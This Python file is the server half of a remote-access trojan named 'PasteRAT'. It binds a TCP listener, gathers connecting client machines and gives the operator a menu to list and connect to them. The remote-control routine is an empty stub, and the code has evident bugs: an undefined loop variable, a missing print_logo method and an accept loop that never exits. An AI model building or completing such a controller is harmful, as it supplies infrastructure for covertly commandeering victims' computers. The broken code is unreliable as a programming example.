import re
import os
from sys import argv
from enum import IntEnum
import json
import time
import threading
import socket



def args_str_to_int(args):
    for i in range(len(args)):
        if args[i].isdigit():
            args[i] = int(args[i])



class Status(IntEnum):
    SUCCESS = 0
    FAILURE = -1

    WAKE_UP = 10
    WAIT = 20


class MessageType(IntEnum):
    CMD = 0
    MSGBOX = 1
    FILE = 2


class Command():
    EXIT = "exit"
    HELP = "help"

    LSCON = "lscon"
    CONN = "conn"


class Server():
    """
        Server side of RAT
    """

    def __init__(self, config_path):
        self._load_config(config_path)
        print("Please wait... or press Ctrl + C")
        self._create_listener()
        self._get_connections()
        self.print_logo()
        self._main_menu()

    @staticmethod
    def show_help():
        print(
        """
        HELP:
    PasteRAT / Main Menu

lscon               - View connection list.
conn <index>        - It will connect to the client under the number <index>.
exit                - Exit the program.
help                - Display this list.
        """)

    
    @staticmethod
    def load_config_as_dict(path: str) -> dict:
        try:
            with open(path, "r") as config_file:
                return json.load(config_file)

        except:
            print(f"File {path} not exist!")
            exit(-1)


    def _load_config(self, config_path):
        cfg = Server.load_config_as_dict(config_path)

        self._port = cfg.get("port")
        self._timeout = cfg.get("timeout")


    def _create_listener(self):
        self._connection_list = []

        self._listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self._listener.bind(("", self._port))
        self._listener.listen(999)


    def _get_connections(self):
        def scan(sock, array, scan):
            while scan():
                conn = sock.accept()
                array.append(conn)

        scanning = True
        
        thr = threading.Thread(target=scan, args=(
            self._listener,
            self._connection_list,
            lambda: scanning
            ))
        thr.start()
        
        time.sleep(int(self._timeout * 2.5))
        
        scanning = False
        thr.join()


    def _connect(self, index):
        pass


    def _display_connections(self):
        if len(self._connection_list) == 0:
            print("No connections available")
        else:
            for _, addr in self._connection_list:
                print(f"{i}.)\t{addr[0]}\t({addr[1]})")



    def _main_menu(self):
        command = ""
        RUN = True

        while RUN:
            user_input = input(r"/").lower()
            command, *args = user_input.split(" ")
            args_str_to_int(args)

            if command == Command.LSCON:
                self._display_connections()

            elif command == Command.HELP:
                Server.show_help()

            elif command == Command.EXIT:
                RUN = False

            elif command == Command.CONN:
                self._connect(args[0])

            else:
                print("Unknow command (use help)")



if __name__ == "__main__":
    argc = len(argv)
    
    config_path = "Server/server.json"
    if argc != 1:
        config_path = argv[1]

    server = Server(config_path)
